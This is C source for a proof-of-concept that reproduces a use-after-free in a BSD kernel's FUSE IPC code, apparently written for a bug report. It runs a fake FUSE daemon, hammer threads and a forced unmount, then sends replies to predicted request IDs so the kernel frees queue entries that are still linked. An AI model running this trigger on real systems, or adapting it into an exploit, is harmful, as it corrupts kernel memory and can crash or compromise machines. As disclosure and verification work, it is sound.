/*
 * DF-3229 — fuse_ipc_tx() ERROR paths free a fuse_ipc that is still
 *           linked on fmp->request_head / fmp->reply_head.
 *
 * Bug (sys/vfs/fuse/fuse_ipc.c):
 *   fuse_ipc_tx() enqueues the fip on BOTH request_head and reply_head
 *   (ipc.c:258-261) and waits.  Two wait exits return WITHOUT
 *   fuse_ipc_remove():
 *
 *   PATH A  ipc.c:163-167 — mount killed between tx:253's dead check
 *             and wait:163's dead check:
 *                 set_replied; return ENOTCONN;      (no dequeue!)
 *             -> tx:270 fuse_ipc_put() frees a fip still linked on
 *                BOTH queues.
 *
 *   PATH B  ipc.c:198-201 — a waiter sleeping at :175 is not woken by
 *             fuse_mount_kill() (it wakes fmp, not fips).  The daemon
 *             later WRITES a reply for the unread request:
 *             fuse_device_write (fuse_device.c:190-220, no dead check)
 *             dequeues reply_head, sets replied, wakes the waiter;
 *             the waiter sees dead and returns ENOTCONN at :201
 *             (no dequeue!) -> tx:270 put() frees a fip still linked
 *             on request_head.
 *
 *   Every sibling exit dequeues (ipc.c:186, :193, wait_sent :213/:240);
 *   DF-3227's verified fix only covers the tx SUCCESS path.
 *
 * Deterministic staging (this PoC):
 *   1. daemon services INIT + in-mount STATFS + first OPENDIR, then
 *      waits for a fully drained queue (quiescent) — U0 = last unique.
 *   2. daemon releases the barrier: N one-shot hammer threads each do
 *      exactly ONE fstatfs() (fd on the mount root; kern_fstatfs needs
 *      no namei).  All N enqueue + hang: victims U0+1 .. U0+N,
 *      unread, linked on both queues.
 *   3. child runs umount(MNT_FORCE): vflush vgones the root vnode ->
 *      vop_inactive issues FUSE_FSYNCDIR (U0+N+1) and FUSE_RELEASEDIR
 *      (U0+N+2), then fuse_unmount issues FUSE_DESTROY (U0+N+3).
 *      The daemon blind-replies exactly these three PREDICTED uniques
 *      (retry-polling: ENOMSG = not queued yet = harmless), so the
 *      umount advances to fuse_mount_kill() — dead=1 — WITHOUT ever
 *      touching the victims.
 *      (The three blind-replied umount-internal fips complete via the
 *      tx SUCCESS path = the known DF-3227 blind-reply defect; they
 *      are excluded from this PoC's markers by unique.)
 *   4. kill landed: the daemon detects ENOTCONN on read, then storms
 *      the victims' uniques [U0+1 .. U0+N]:
 *        - every MATCHED write (0 / EPROTO) completes a fip whose
 *          waiter takes the :198 error exit -> fuse_ipc_put() frees it
 *          STILL LINKED on request_head.  The paired fstatfs returns
 *          ENOTCONN right after the write (wake evidence).
 *        - on a kernel with the :198 remove fix the writes match the
 *          same way — the difference is purely internal, so the loud
 *          discriminator is the freed-while-linked state itself.
 *
 * Build:  cc -O2 -Wall -o df3229 df3229.c -lpthread
 * Run:    (as root) kldload fuse && ./df3229 [threads]
 */
#include <sys/param.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/wait.h>
#include <time.h>
#include <pthread.h>

#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1
#define FUSE_STATFS   17
#define FUSE_OPEN     14
#define FUSE_INIT     26
#define FUSE_OPENDIR  27
#define FUSE_DESTROY  38

struct fuse_in_header  { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_init_in    { uint32_t major, minor, max_readahead, flags; };
struct fuse_init_out   { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; };
struct fuse_kstatfs    { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; };
struct fuse_statfs_out { struct fuse_kstatfs st; };
struct fuse_open_out   { uint64_t fh; uint32_t open_flags; uint32_t padding; };
struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

#define MNTPT "/mnt/df3229"

/* ---- shared state (parent daemon + child hammer threads) ---- */
#define EVMAX 65536
struct ev { int kind; int tid; double t; int rc; int err; uint64_t u; };
/* kind: 1=op_start 2=op_end 3=kill_detect 4=blind_write 5=read_ok */
static struct ev *EV;
static volatile int ev_n = 0;
static pthread_mutex_t ev_lk = PTHREAD_MUTEX_INITIALIZER;
static volatile int *SH_HALT;     /* daemon -> hammer: stop looping */
static volatile int *SH_RELEASE;  /* daemon -> hammer+child: go */

static void ev_log(int kind, int rc, int err, uint64_t u) {
    pthread_mutex_lock(&ev_lk);
    if (ev_n < EVMAX) {
        struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts);
        EV[ev_n].kind = kind; EV[ev_n].tid = (int)(uintptr_t)pthread_self();
        EV[ev_n].t = ts.tv_sec + ts.tv_nsec/1e9;
        EV[ev_n].rc = rc; EV[ev_n].err = err; EV[ev_n].u = u;
        ev_n++;
    }
    pthread_mutex_unlock(&ev_lk);
}

static int g_fd = -1;
static FILE *g_log, *g_con;
static volatile sig_atomic_t g_stop = 0, g_read_alarm = 0;
static uint64_t last_read_u = 0;
static int n_reads = 0;

static void dlog(const char *fmt, ...);
static double now(void);

static void dlog(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    fprintf(g_log, "[%d @%.6f] ", (int)getpid(), now());
    vfprintf(g_log, fmt, ap);
    va_end(ap);
    fflush(g_log);
    if (g_con) {
        va_start(ap, fmt);
        fprintf(g_con, "[%d @%.6f] ", (int)getpid(), now());
        vfprintf(g_con, fmt, ap);
        va_end(ap);
        fflush(g_con);
    }
}
static double now(void) {
    struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts);
    return ts.tv_sec + ts.tv_nsec/1e9;
}
static void on_alarm(int s) { (void)s; g_read_alarm = 1; }

static int write_reply(uint64_t unique, int32_t error,
                       const void *payload, size_t payload_len) {
    size_t actual = sizeof(struct fuse_out_header) + payload_len;
    uint8_t *out = calloc(1, actual);
    struct fuse_out_header *ohd = (struct fuse_out_header *)out;
    ohd->unique = unique; ohd->error = error; ohd->len = (uint32_t)actual;
    if (payload && payload_len) memcpy(out + sizeof(*ohd), payload, payload_len);
    ssize_t w = write(g_fd, out, actual);
    int e = errno;
    free(out);
    return (w < 0) ? -e : 0;   /* 0 = accepted, -errno otherwise */
}

static void statfs_payload(struct fuse_statfs_out *so) {
    memset(so, 0, sizeof(*so));
    so->st.blocks = 1 << 16; so->st.bfree = 1 << 15; so->st.bavail = 1 << 15;
    so->st.files = 4096;     so->st.ffree = 4000;
    so->st.bsize = 4096;     so->st.namelen = 255; so->st.frsize = 4096;
}

/* service one request: 0 ok, 1 = was DESTROY, -errno on read failure */
static int service_one(int alarm_sec) {
    uint8_t buf[65536];
    struct fuse_in_header ihd;
    g_read_alarm = 0;
    alarm(alarm_sec);
    ssize_t n = read(g_fd, buf, sizeof(buf));
    int saved = errno;
    alarm(0);
    if (g_read_alarm) return -EAGAIN;
    if (n < 0)  return -saved;
    if (n == 0) { dlog("read returned 0 bytes (freed head!)\n"); return -EIO; }
    memcpy(&ihd, buf, sizeof(ihd));
    last_read_u = ihd.unique;
    n_reads++;
    ev_log(5, 0, 0, ihd.unique);
    dlog("req u=%ju op=%u\n", (uintmax_t)ihd.unique, ihd.opcode);
    int rc;
    if (ihd.opcode == FUSE_INIT) {
        struct fuse_init_out io; memset(&io, 0, sizeof(io));
        io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION;
        io.max_readahead = 4096; io.max_write = 1 << 20; io.max_pages = 256;
        rc = write_reply(ihd.unique, 0, &io, sizeof(io));
    } else if (ihd.opcode == FUSE_STATFS) {
        struct fuse_statfs_out so; statfs_payload(&so);
        rc = write_reply(ihd.unique, 0, &so, sizeof(so));
    } else if (ihd.opcode == FUSE_OPENDIR || ihd.opcode == FUSE_OPEN) {
        struct fuse_open_out oo; memset(&oo, 0, sizeof(oo));
        oo.fh = 0x1000 + ihd.unique;
        rc = write_reply(ihd.unique, 0, &oo, sizeof(oo));
    } else {
        rc = write_reply(ihd.unique, -ENOSYS, NULL, 0);
    }
    if (rc < 0) dlog("reply u=%ju failed: %d\n", (uintmax_t)ihd.unique, rc);
    return 0;
}

/* retry-poll a blind write until the kernel queues that unique
 * (ENOMSG = not queued yet = harmless); ~0 matched, -1 gave up */
static int poll_write(uint64_t u, double seconds) {
    double t_end = now() + seconds;
    while (now() < t_end) {
        int rc = write_reply(u, 0, NULL, 0);
        if (rc == 0 || rc == -EPROTO)
            return 0;
        if (rc != -ENOMSG)
            dlog("poll u=%ju unexpected %d\n", (uintmax_t)u, rc);
        usleep(1000);
    }
    return -1;
}

/* ---------------- daemon (parent) ---------------- */
static void daemon_loop(int nvictims) {
    double t_kill = 0;
    uint64_t U0;

    /* 1. service mount setup until the queue is quiescent */
    for (;;) {
        int rc = service_one(1 /*1s quiesce alarm*/);
        if (rc == -EAGAIN) break;              /* drained */
        if (rc == -EINTR) continue;
        if (rc < 0) { dlog("setup read err %d\n", rc); return; }
    }
    U0 = last_read_u;
    dlog("quiescent: U0=%ju — releasing barrier for %d victims\n",
         (uintmax_t)U0, nvictims);

    /* 2. release the pile-up; threads enqueue victims U0+1..U0+N */
    *SH_RELEASE = 1;
    usleep(300000);                            /* all N enqueued+hung */

    /* 3. child umounts (MNT_FORCE): FSYNCDIR, RELEASEDIR, DESTROY */
    if (poll_write(U0 + nvictims + 1, 20.0) != 0)
        { dlog("FSYNCDIR poll failed\n"); return; }
    dlog("FSYNCDIR u=%ju completed (umount advances)\n",
         (uintmax_t)(U0 + nvictims + 1));
    if (poll_write(U0 + nvictims + 2, 20.0) != 0)
        { dlog("RELEASEDIR poll failed\n"); return; }
    dlog("RELEASEDIR u=%ju completed\n", (uintmax_t)(U0 + nvictims + 2));
    if (poll_write(U0 + nvictims + 3, 20.0) != 0)
        { dlog("DESTROY poll failed\n"); return; }
    dlog("DESTROY u=%ju completed — fuse_mount_kill() fires\n",
         (uintmax_t)(U0 + nvictims + 3));

    /* 4. kill confirmation (read gated by :130 dead check — no pop) */
    usleep(5000);
    {
        int rc = service_one(1);
        if (rc != -ENOTCONN) {
            dlog("post-destroy read rc=%d (expected ENOTCONN)\n", rc);
            if (rc == 0 || rc == 1) rc = service_one(1);
        }
        if (rc != -ENOTCONN) { dlog("kill not confirmed\n"); return; }
    }
    t_kill = now();
    *SH_HALT = 1;
    ev_log(3, 0, 0, 0);
    dlog("KILL confirmed at %.6f; U0=%ju reads=%d\n",
         t_kill, (uintmax_t)U0, n_reads);

    /* 5. STORM the victims: post-kill writes matching unread hung fips
     *    -> each completes via the :198 ERROR exit -> put() frees a
     *    fip still linked on request_head. */
    usleep(2000);
    int matched = 0;
    for (int i = 1; i <= nvictims + 4; i++) {
        uint64_t u = U0 + i;
        int rc = write_reply(u, 0, NULL, 0);
        int err = (rc < 0) ? -rc : 0;
        int m = (rc == 0 || err == EPROTO);
        if (m) matched++;
        ev_log(4, m ? 0 : 1, err, u);
        dlog("W u=%ju err=%d%s%s\n", (uintmax_t)u, err,
             m ? " MATCHED" : "",
             (i > nvictims && m) ? "  <<== BEYOND PREDICTED VICTIMS" : "");
    }
    dlog("storm done: matched=%d of %d victims (+4 probes)\n",
         matched, nvictims);

    /* 6. correlate (early + late: woken threads run at nice +19) */
    for (int pass = 0; pass < 2; pass++) {
        usleep(pass ? 500000 : 5000);
        int woke = 0, instant = 0, never_ret = 0;
        for (int i = 0; i < ev_n; i++) {
            if (EV[i].kind != 1) continue;
            struct ev *e = NULL;
            for (int j = i + 1; j < ev_n; j++)
                if (EV[j].kind == 2 && EV[j].tid == EV[i].tid) { e = &EV[j]; break; }
            if (!e) { never_ret++; continue; }
            if (e->rc == -1 && e->err == ENOTCONN) {
                if (e->t <= t_kill + 0.002) instant++;
                else woke++;
            } else {
                dlog("victim returned rc=%d err=%d at %.6f\n",
                     e->rc, e->err, e->t);
            }
        }
        dlog("RESULT(pass%d): victims_matched=%d woke_after_write=%d "
             "instant_enotconn=%d never_returned=%d\n",
             pass, matched, woke, instant, never_ret);
        dlog("DF3229: matched=%d woke=%d\n", matched, woke);
    }
}

/* ---------------- child: mount + barrier hammer + umount ---------------- */
static void *hammer_thr(void *arg) {
    (void)arg;
    int fd = open(MNTPT, O_RDONLY | O_DIRECTORY);
    if (fd < 0) { dlog("hammer: open: %s\n", strerror(errno)); return NULL; }
    /* barrier: wait for the daemon's release, then ONE shot only so
     * the victim count is exact */
    while (!*SH_RELEASE && !g_stop)
        usleep(1000);
    ev_log(1, 0, 0, 0);
    struct statfs st;
    int rc = fstatfs(fd, &st);
    int e = errno;
    ev_log(2, rc, e, 0);
    dlog("victim fstatfs rc=%d err=%d\n", rc, e);
    close(fd);
    return NULL;
}

static int child_mode(int nthreads) {
    setpriority(PRIO_PROCESS, 0, 19);
    struct fuse_mount_info args; memset(&args, 0, sizeof(args));
    args.fd = g_fd; args.from = "/dev/fuse"; args.max_read = 1 << 20;
    mkdir(MNTPT, 0755);
    if (mount("fuse", MNTPT, 0, &args) < 0) {
        dlog("child: mount: %s\n", strerror(errno)); return 1;
    }
    dlog("child: mounted; %d hammer threads waiting on barrier\n", nthreads);
    pthread_t th[128];
    if (nthreads > 128) nthreads = 128;
    for (int i = 0; i < nthreads; i++)
        pthread_create(&th[i], NULL, hammer_thr, NULL);

    /* wait for the daemon's pile-up, then force-unmount:
     * vflush -> FSYNCDIR/RELEASEDIR -> DESTROY -> kill */
    while (!*SH_RELEASE)
        usleep(2000);
    usleep(400000);
    dlog("child: umount -f\n");
    if (unmount(MNTPT, MNT_FORCE) < 0)
        dlog("child: umount: %s\n", strerror(errno));
    else
        dlog("child: umount returned\n");
    dlog("child: joining %d hammer threads\n", nthreads);

    for (int i = 0; i < nthreads; i++)
        pthread_join(th[i], NULL);
    dlog("child: hammer threads done\n");
    return 0;
}

int main(int argc, char **argv) {
    int nvictims = (argc > 1) ? atoi(argv[1]) : 20;

    EV = mmap(NULL, sizeof(struct ev) * EVMAX + 4096, PROT_READ | PROT_WRITE,
              MAP_SHARED | MAP_ANON, -1, 0);
    if (EV == MAP_FAILED) { perror("mmap"); return 3; }
    SH_HALT = (volatile int *)((char *)EV + sizeof(struct ev) * EVMAX);
    SH_RELEASE = SH_HALT + 1;
    *SH_HALT = 0;
    *SH_RELEASE = 0;

    g_log = fopen("/tmp/df3229.log", "a");
    if (!g_log) g_log = stderr;
    setvbuf(g_log, NULL, _IOLBF, 0);
    g_con = fopen("/dev/console", "w");
    if (g_con) setvbuf(g_con, NULL, _IOLBF, 0);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGALRM, on_alarm);
    siginterrupt(SIGALRM, 1);
    setpriority(PRIO_PROCESS, 0, -20);

    g_fd = open("/dev/fuse", O_RDWR);
    if (g_fd < 0) {
        dlog("open /dev/fuse: %s (need root+operator)\n", strerror(errno));
        return 2;
    }

    pid_t pid = fork();
    if (pid < 0) return 3;
    if (pid == 0) _exit(child_mode(nvictims));

    daemon_loop(nvictims);
    /* victims not matched by the storm drain via their own 35s timeout;
     * keep the fd open until the child is done so fmp stays valid */
    {
        int st = 0;
        pid_t w = waitpid(pid, &st, 0);
        dlog("parent: waitpid=%d status=0x%x (exit=%d sig=%d)\n",
             (int)w, st, WEXITSTATUS(st), WTERMSIG(st));
    }

    close(g_fd);
    fclose(g_log);
    return 0;
}
